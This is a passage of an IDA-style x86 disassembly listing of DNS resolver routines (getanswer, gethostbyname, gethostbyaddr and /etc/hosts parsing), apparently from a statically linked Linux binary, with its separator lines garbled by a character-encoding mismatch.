陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BC64: ; CODE XREF: getanswer+3E3j mov eax, [ebp+var_10C] push eax mov edx, ds:dword_8079E74 push edx call sub_80565F8 mov ecx, eax add esp, 8 test ecx, ecx jz short loc_804BCBC mov eax, [ebp+var_10C] push eax mov edx, ds:dword_8079E74 loc_804BC8D: ; CODE XREF: getanswer+414j push edx push offset aGethostby_ge_1 ; "gethostby*.getanswer: asked for \"%s\", g"... push 1Ah push 0Bh mov eax, dword_8078F9C push eax call catgets add esp, 10h mov ecx, eax push ecx push 25h call sub_8054EB0 add esi, ebx add esp, 10h jmp loc_804BDEF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BCBC: ; CODE XREF: getanswer+47Ej cmp [ebp+var_124], 0 jz short loc_804BCD4 cmp ds:dword_8079E80, ebx jz short loc_804BD2C jmp loc_804BDA7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BCD4: ; CODE XREF: getanswer+4C3j mov ds:dword_8079E80, ebx mov ecx, offset dword_8079E7C cmp [ebp+var_118], 1 jnz short loc_804BCF4 mov ds:dword_8079E7C, 2 jmp short loc_804BCFA ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BCF4: ; CODE XREF: getanswer+4E6j mov dword ptr [ecx], 0 loc_804BCFA: ; CODE XREF: getanswer+4F2j mov edx, [ebp+var_10C] mov ds:dword_8079E74, edx mov edi, [ebp+var_10C] xor al, al cld mov ecx, 0FFFFFFFFh repne scasb not ecx mov [ebp+var_138], ecx add edx, ecx mov [ebp+var_10C], edx sub [ebp+var_11C], ecx loc_804BD2C: ; CODE XREF: getanswer+4CBj mov eax, [ebp+var_10C] add eax, 4 mov edx, [ebp+var_10C] and edx, 3 sub eax, edx mov [ebp+var_10C], eax mov eax, [ebp+var_10C] add eax, ebx cmp eax, offset unk_807A315 jb short loc_804BD74 test byte ptr dword_807854C, 2 jz short loc_804BD6C push ebx push offset aSizeDTooBig ; "size (%d) too big\n" call printf add esp, 8 loc_804BD6C: ; CODE XREF: getanswer+196j ; getanswer+22Aj ... inc [ebp+var_128] jmp short loc_804BDEF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BD74: ; CODE XREF: getanswer+553j cmp [ebp+var_114], offset unk_8079E6C jb short loc_804BDAC test byte ptr dword_807854C, 2 jz short loc_804BDA7 inc [ebp+var_12C] cmp [ebp+var_12C], 1 jnz short loc_804BDA7 push 23h push offset aTooManyAddress ; "Too many addresses (%d)\n" call printf add esp, 8 loc_804BDA7: ; CODE XREF: getanswer+1DDj ; getanswer+4CDj ... add esi, ebx jmp short loc_804BDEF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804BDAC: ; CODE XREF: getanswer+57Ej push ebx mov eax, [ebp+var_10C] mov edx, [ebp+var_114] mov [edx], eax push eax add edx, 4 mov [ebp+var_114], edx push esi call bcopy add [ebp+var_10C], ebx add esi, ebx add esp, 0Ch jmp short loc_804BDE0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BDD8: ; CODE XREF: getanswer+3E8j call abort db 8Dh,76h,0 ; lea esi, [esi+0] loc_804BDE0: ; CODE XREF: getanswer+446j ; getanswer+5D6j cmp [ebp+var_128], 0 jnz short loc_804BDEF inc [ebp+var_124] loc_804BDEF: ; CODE XREF: getanswer+200j ; getanswer+288j ... mov eax, [ebp+var_120] dec [ebp+var_120] test eax, eax jle short loc_804BE14 cmp [ebp+var_108], esi jbe short loc_804BE14 cmp [ebp+var_128], 0 jz loc_804B970 loc_804BE14: ; CODE XREF: getanswer+15Dj ; getanswer+169j ... cmp [ebp+var_124], 0 jz short loc_804BE94 mov edx, [ebp+var_110] mov dword ptr [edx], 0 mov eax, [ebp+var_114] mov dword ptr [eax], 0 test byte_80786A8, 0F0h jz short loc_804BE67 cmp [ebp+var_124], 1 jle short loc_804BE67 cmp [ebp+arg_C], 1 jnz short loc_804BE67 cmp [ebp+arg_10], 1 jnz short loc_804BE67 mov edx, [ebp+var_124] push edx push offset dword_8079DE4 call sub_804CBE4 add esp, 8 loc_804BE67: ; CODE XREF: getanswer+63Cj ; getanswer+645j ... cmp ds:dword_8079E74, 0 jnz loc_804BC58 mov eax, [ebp+arg_8] push eax mov edx, [ebp+var_10C] push edx call strcpy mov eax, [ebp+var_10C] mov ds:dword_8079E74, eax jmp loc_804BC58 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BE94: ; CODE XREF: getanswer+61Bj mov ds:dword_807E788, 2 loc_804BE9E: ; CODE XREF: getanswer+7Aj ; getanswer+B2j xor eax, eax loc_804BEA0: ; CODE XREF: getanswer+45Dj lea esp, [ebp+var_144] pop ebx pop esi pop edi mov esp, ebp pop ebp retn getanswer endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804BEB0 proc near var_C = byte ptr -0Ch push ebp mov ebp, esp push edi push esi push ebx cmp dword_80784F8, 0 jnz short loc_804BEC4 call init_services_resolv loc_804BEC4: ; CODE XREF: sub_804BEB0+Dj xor edi, edi cmp ds:dword_8079DD4, 0 jz loc_804BF73 mov esi, offset dword_8079DD4 loc_804BED8: ; CODE XREF: sub_804BEB0+BDj cmp edi, 3 jg loc_804BF73 mov eax, [esi] cmp eax, 2 jz short loc_804BEF4 jle short loc_804BF66 cmp eax, 3 jz short loc_804BF1C jmp short loc_804BF66 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BEF4: ; CODE XREF: sub_804BEB0+36j call sub_804C5A4 mov ebx, eax cmp ds:dword_8079DE8, 0 jz short loc_804BF16 cmp dword_807851C, 0 jz short loc_804BF16 push ebx call reorder_addrs add esp, 4 loc_804BF16: ; CODE XREF: sub_804BEB0+52j ; sub_804BEB0+5Bj test ebx, ebx jnz short loc_804BF4C jmp short loc_804BF5C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BF1C: ; CODE XREF: sub_804BEB0+3Dj push offset aHosts_byname ; "hosts.byname" push 0 call _getnishost mov ebx, eax add esp, 8 cmp ds:dword_8079DE8, 0 jz short loc_804BF48 cmp dword_807851C, 0 jz short loc_804BF48 push ebx call reorder_addrs add esp, 4 loc_804BF48: ; CODE XREF: sub_804BEB0+84j ; sub_804BEB0+8Dj test ebx, ebx jz short loc_804BF5C loc_804BF4C: ; CODE XREF: sub_804BEB0+68j mov ds:dword_807E788, 0 mov eax, ebx jmp short loc_804BF75 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BF5C: ; CODE XREF: sub_804BEB0+6Aj ; sub_804BEB0+9Aj mov ds:dword_807E788, 1 loc_804BF66: ; CODE XREF: sub_804BEB0+38j ; sub_804BEB0+3Fj add esi, 4 inc edi cmp dword ptr [esi], 0 jnz loc_804BED8 loc_804BF73: ; CODE XREF: sub_804BEB0+1Dj ; sub_804BEB0+2Bj xor eax, eax loc_804BF75: ; CODE XREF: sub_804BEB0+A8j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804BEB0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden gethostbyname proc near ; CODE XREF: get_haddr+7p ; sub_8049174+F1p ... var_410 = byte ptr -410h var_400 = byte ptr -400h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 404h push edi push esi push ebx mov edx, [ebp+arg_0] movzx edx, byte ptr [edx] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 8 jz loc_804C058 mov ecx, [ebp+arg_0] jmp loc_804C049 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BFAC: ; CODE XREF: gethostbyname+D2j mov edx, [ebp+arg_0] push edx call inet_addr mov ds:dword_807A318, eax cmp eax, 0FFFFFFFFh jnz short loc_804BFD0 mov ds:dword_807E788, 1 jmp loc_804C225 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804BFD0: ; CODE XREF: gethostbyname+3Dj mov edx, [ebp+arg_0] mov ds:dword_8079E74, edx mov ds:dword_8079E78, offset dword_8079E88 mov ds:dword_8079E88, 0 mov ds:dword_8079E7C, 2 mov ds:dword_8079E80, 4 mov ds:dword_8079DE4, offset dword_807A318 mov ds:dword_8079DE8, 0 mov ds:dword_8079E84, offset dword_8079DE4 mov ds:dword_807E788, 0 mov eax, offset dword_8079E74 jmp loc_804C227 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804C034: ; CODE XREF: gethostbyname+CCj movzx edx, byte ptr [ecx] mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 8 jnz short loc_804C048 cmp byte ptr [ecx], 2Eh jnz short loc_804C058 loc_804C048: ; CODE XREF: gethostbyname+C1j inc ecx loc_804C049: ; CODE XREF: gethostbyname+25j cmp byte ptr [ecx], 0 jnz short loc_804C034 cmp byte ptr [ecx-1], 2Eh jnz loc_804BFAC loc_804C058: ; CODE XREF: gethostbyname+1Cj ; gethostbyname+C6j cmp dword_80784F8, 0 jnz short loc_804C066 call init_services_resolv loc_804C066: ; CODE XREF: gethostbyname+DFj xor edi, edi cmp ds:dword_8079DD4, 0 jz loc_804C225 db 8Dh,76h,0 ; lea esi, [esi+0] loc_804C078: ; CODE XREF: gethostbyname+29Fj cmp edi, 3 jg loc_804C225 mov eax, ds:dword_8079DD4[edi*4] cmp eax, 2 jz loc_804C134 jg short loc_804C0A0 cmp eax, 1 jz short loc_804C0B0 jmp loc_804C216 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C0A0: ; CODE XREF: gethostbyname+111j cmp eax, 3 jz loc_804C194 jmp loc_804C216 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C0B0: ; CODE XREF: gethostbyname+116j push 400h lea eax, [ebp+var_400] push eax push 1 push 1 mov edx, [ebp+arg_0] push edx call res_search add esp, 14h test eax, eax jge short loc_804C0F0 test byte ptr dword_807854C, 2 jz loc_804C216 push offset aRes_searchFail ; "res_search failed\n" call printf add esp, 4 jmp loc_804C216 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804C0F0: ; CODE XREF: gethostbyname+14Ej push 1 push 1 mov edx, [ebp+arg_0] push edx push eax lea eax, [ebp+var_400] push eax call getanswer mov esi, eax add esp, 14h cmp ds:dword_8079DE8, 0 jz short loc_804C125 cmp dword_807851C, 0 jz short loc_804C125 push esi call reorder_addrs add esp, 4 loc_804C125: ; CODE XREF: gethostbyname+191j ; gethostbyname+19Aj test esi, esi jz loc_804C216 jmp loc_804C1FA ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C134: ; CODE XREF: gethostbyname+10Bj cmp ds:dword_807A348, 0 jz short loc_804C164 mov edx, [ebp+arg_0] push edx call strdup mov ebx, eax push ebx call dotrimdomain push ebx call _gethtbyname mov esi, eax push ebx call free add esp, 10h jmp short loc_804C172 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C164: ; CODE XREF: gethostbyname+1BBj mov edx, [ebp+arg_0] push edx call _gethtbyname mov esi, eax add esp, 4 loc_804C172: ; CODE XREF: gethostbyname+1DFj cmp ds:dword_8079DE8, 0 jz short loc_804C18D cmp dword_807851C, 0 jz short loc_804C18D push esi call reorder_addrs add esp, 4 loc_804C18D: ; CODE XREF: gethostbyname+1F9j ; gethostbyname+202j test esi, esi jnz short loc_804C1FA jmp short loc_804C20C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804C194: ; CODE XREF: gethostbyname+123j cmp ds:dword_807A348, 0 jz short loc_804C1C8 mov edx, [ebp+arg_0] push edx call strdup mov ebx, eax push ebx call dotrimdomain push offset aHosts_byname ; "hosts.byname" push ebx call _getnishost mov esi, eax push ebx call free add esp, 14h jmp short loc_804C1DB ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C1C8: ; CODE XREF: gethostbyname+21Bj push offset aHosts_byname ; "hosts.byname" mov edx, [ebp+arg_0] push edx call _getnishost mov esi, eax add esp, 8 loc_804C1DB: ; CODE XREF: gethostbyname+244j cmp ds:dword_8079DE8, 0 jz short loc_804C1F6 cmp dword_807851C, 0 jz short loc_804C1F6 push esi call reorder_addrs add esp, 4 loc_804C1F6: ; CODE XREF: gethostbyname+262j ; gethostbyname+26Bj test esi, esi jz short loc_804C20C loc_804C1FA: ; CODE XREF: gethostbyname+1ADj ; gethostbyname+20Fj mov ds:dword_807E788, 0 push esi call trim_domains jmp short loc_804C227 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C20C: ; CODE XREF: gethostbyname+211j ; gethostbyname+278j mov ds:dword_807E788, 1 loc_804C216: ; CODE XREF: gethostbyname+118j ; gethostbyname+129j ... inc edi cmp ds:dword_8079DD4[edi*4], 0 jnz loc_804C078 loc_804C225: ; CODE XREF: gethostbyname+49j ; gethostbyname+EFj ... xor eax, eax loc_804C227: ; CODE XREF: gethostbyname+AEj ; gethostbyname+28Aj lea esp, [ebp+var_410] pop ebx pop esi pop edi mov esp, ebp pop ebp retn gethostbyname endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden gethostbyaddr proc near var_614 = byte ptr -614h var_608 = dword ptr -608h var_604 = byte ptr -604h var_500 = byte ptr -500h var_400 = byte ptr -400h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 608h push edi push esi push ebx cmp [ebp+arg_8], 2 jz short loc_804C26C mov ds:dword_807E788, 0FFFFFFFFh jmp loc_804C526 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C258: ; CODE XREF: gethostbyaddr+2D3j mov ds:dword_807E788, 0 mov eax, edi jmp loc_804C528 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C26C: ; CODE XREF: gethostbyaddr+10j cmp dword_80784F8, 0 jnz short loc_804C27A call init_services_resolv loc_804C27A: ; CODE XREF: gethostbyaddr+3Fj call sub_805E954 xor esi, esi cmp ds:dword_8079DD4, 0 jz loc_804C526 lea ebx, [ebp+var_500] lea ecx, [ebp+var_604] mov [ebp+var_608], ecx loc_804C2A0: ; CODE XREF: gethostbyaddr+2ECj mov eax, ds:dword_8079DD4[esi*4] cmp eax, 2 jz loc_804C4BC jg short loc_804C2BC cmp eax, 1 jz short loc_804C2CC jmp loc_804C517 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C2BC: ; CODE XREF: gethostbyaddr+7Cj cmp eax, 3 jz loc_804C4D4 jmp loc_804C517 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C2CC: ; CODE XREF: gethostbyaddr+81j mov ecx, [ebp+arg_0] movzx eax, byte ptr [ecx] push eax movzx eax, byte ptr [ecx+1] push eax movzx eax, byte ptr [ecx+2] push eax movzx eax, byte ptr [ecx+3] push eax push offset aU_U_U_U_inAddr ; "%u.%u.%u.%u.in-addr.arpa" push ebx call sprintf push 400h lea eax, [ebp+var_400] push eax push 0Ch push 1 push ebx call sub_804DFE0 add esp, 2Ch test eax, eax jge short loc_804C32C test byte ptr dword_807854C, 2 jz loc_804C517 push offset aRes_queryFaile ; "res_query failed\n" call printf add esp, 4 jmp loc_804C517 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C32C: ; CODE XREF: gethostbyaddr+D4j push 0Ch push 1 push ebx push eax lea eax, [ebp+var_400] push eax call getanswer mov edi, eax add esp, 14h test edi, edi jz loc_804C50D cmp dword_8078514, 0 jz loc_804C480 mov edx, [edi] xor al, al mov edi, edx cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax lea esi, [eax-1] cmp esi, 0FFh jg loc_804C526 push edx mov ecx, [ebp+var_608] push ecx call strcpy mov byte ptr [esi+ebp-604h], 2Eh mov byte ptr [esi+ebp-603h], 0 mov ebx, dword_8078520 mov dword_8078520, 0 mov ecx, [ebp+var_608] push ecx call gethostbyname mov edi, eax mov dword_8078520, ebx mov byte ptr [esi+ebp-604h], 0 add esp, 0Ch test edi, edi jz short loc_804C3DF mov eax, [edi] push eax mov ecx, [ebp+var_608] push ecx call sub_8057ADC add esp, 8 test eax, eax jz short loc_804C3F0 loc_804C3DF: ; CODE XREF: gethostbyaddr+193j mov ds:dword_807E788, 1 jmp loc_804C526 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C3F0: ; CODE XREF: gethostbyaddr+1A9j mov ebx, [edi+10h] cmp dword ptr [ebx], 0 jz short loc_804C41B loc_804C3F8: ; CODE XREF: gethostbyaddr+1E5j mov ecx, [ebp+arg_4] push ecx mov ecx, [ebp+arg_0] push ecx mov eax, [ebx] push eax call sub_8056450 add esp, 0Ch test eax, eax jz loc_804C4AA add ebx, 4 cmp dword ptr [ebx], 0 jnz short loc_804C3F8 loc_804C41B: ; CODE XREF: gethostbyaddr+1C2j mov ds:dword_807E788, 1 cmp dword_8078518, 0 jz loc_804C526 push 20h push 1 push offset aResolv ; "resolv" call sub_80552B0 mov ecx, [ebp+arg_0] movzx eax, byte ptr [ecx+3] push eax movzx eax, byte ptr [ecx+2] push eax movzx eax, byte ptr [ecx+1] push eax movzx eax, byte ptr [ecx] push eax mov eax, [edi] push eax push offset aGethostbyaddrS ; "gethostbyaddr: %s != %u.%u.%u.%u, possi"... push 10h push 0Bh mov eax, dword_8078F9C push eax call catgets add esp, 10h push eax push 5 call sub_8054EB0 jmp loc_804C526 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C480: ; CODE XREF: gethostbyaddr+11Ej mov ecx, [ebp+arg_8] mov [edi+8], ecx mov ecx, [ebp+arg_4] mov [edi+0Ch], ecx mov ds:dword_8079DE4, offset dword_807A318 mov ds:dword_8079DE8, 0 mov ecx, [ebp+arg_0] mov eax, [ecx] mov ds:dword_807A318, eax loc_804C4AA: ; CODE XREF: gethostbyaddr+1D9j mov ds:dword_807E788, 0 push edi call trim_domains jmp short loc_804C528 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C4BC: ; CODE XREF: gethostbyaddr+76j mov ecx, [ebp+arg_8] push ecx mov ecx, [ebp+arg_4] push ecx mov ecx, [ebp+arg_0] push ecx call sub_804CB94 mov edi, eax add esp, 0Ch jmp short loc_804C505 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C4D4: ; CODE XREF: gethostbyaddr+8Bj mov ecx, [ebp+arg_0] movzx eax, byte ptr [ecx+3] push eax movzx eax, byte ptr [ecx+2] push eax movzx eax, byte ptr [ecx+1] push eax movzx eax, byte ptr [ecx] push eax push offset aU_U_U_U_0 ; "%u.%u.%u.%u" push ebx call sprintf push offset aHosts_byaddr ; "hosts.byaddr" push ebx call _getnishost mov edi, eax add esp, 20h loc_804C505: ; CODE XREF: gethostbyaddr+29Ej test edi, edi jnz loc_804C258 loc_804C50D: ; CODE XREF: gethostbyaddr+111j mov ds:dword_807E788, 1 loc_804C517: ; CODE XREF: gethostbyaddr+83j ; gethostbyaddr+91j ... inc esi cmp ds:dword_8079DD4[esi*4], 0 jnz loc_804C2A0 loc_804C526: ; CODE XREF: gethostbyaddr+1Cj ; gethostbyaddr+54j ... xor eax, eax loc_804C528: ; CODE XREF: gethostbyaddr+30j ; gethostbyaddr+286j lea esp, [ebp+var_614] pop ebx pop esi pop edi mov esp, ebp pop ebp retn gethostbyaddr endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804C538 proc near ; CODE XREF: _gethtbyname+7Fp ; sub_804CB94+Ep arg_0 = dword ptr 8 push ebp mov ebp, esp cmp dword_8078508, 0 jnz short loc_804C55C push offset aR ; "r" push offset aEtcHosts ; "/etc/hosts" call fopen mov dword_8078508, eax jmp short loc_804C567 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C55C: ; CODE XREF: sub_804C538+Aj mov eax, dword_8078508 push eax call sub_8054DB8 loc_804C567: ; CODE XREF: sub_804C538+20j mov edx, [ebp+arg_0] or dword_807850C, edx mov esp, ebp pop ebp retn sub_804C538 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804C574 proc near ; CODE XREF: _gethtbyname+1DCp ; _gethtbyname+1F4p ... push ebp mov ebp, esp cmp dword_8078508, 0 jz short loc_804C59E cmp dword_807850C, 0 jnz short loc_804C59E mov eax, dword_8078508 push eax call fclose mov dword_8078508, 0 loc_804C59E: ; CODE XREF: sub_804C574+Aj ; sub_804C574+13j mov esp, ebp pop ebp retn sub_804C574 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804C5A4 proc near ; CODE XREF: sub_804BEB0+44p ; _gethtbyname+8Cp ... var_8 = byte ptr -8 push ebp mov ebp, esp push esi push ebx cmp dword_8078508, 0 jnz short loc_804C5E0 push offset aR ; "r" push offset aEtcHosts ; "/etc/hosts" call fopen mov dword_8078508, eax add esp, 8 test eax, eax jnz short loc_804C5E0 mov ds:dword_807E788, 0FFFFFFFFh xor eax, eax jmp loc_804C6F3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804C5E0: ; CODE XREF: sub_804C5A4+Cj ; sub_804C5A4+27j ... mov eax, dword_8078508 push eax push 400h push offset unk_8079F14 call fgets mov esi, eax add esp, 0Ch test esi, esi jnz short loc_804C610 mov ds:dword_807E788, 1 xor eax, eax jmp loc_804C6F3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804C610: ; CODE XREF: sub_804C5A4+58j cmp byte ptr [esi], 23h jz short loc_804C5E0 push offset asc_8067BFB ; "#\n" push esi call strpbrk mov ebx, eax add esp, 8 test ebx, ebx jz short loc_804C5E0 mov byte ptr [ebx], 0 push offset asc_806791B ; " \t" push esi call strpbrk mov ebx, eax add esp, 8 test ebx, ebx jz short loc_804C5E0 mov byte ptr [ebx], 0 inc ebx 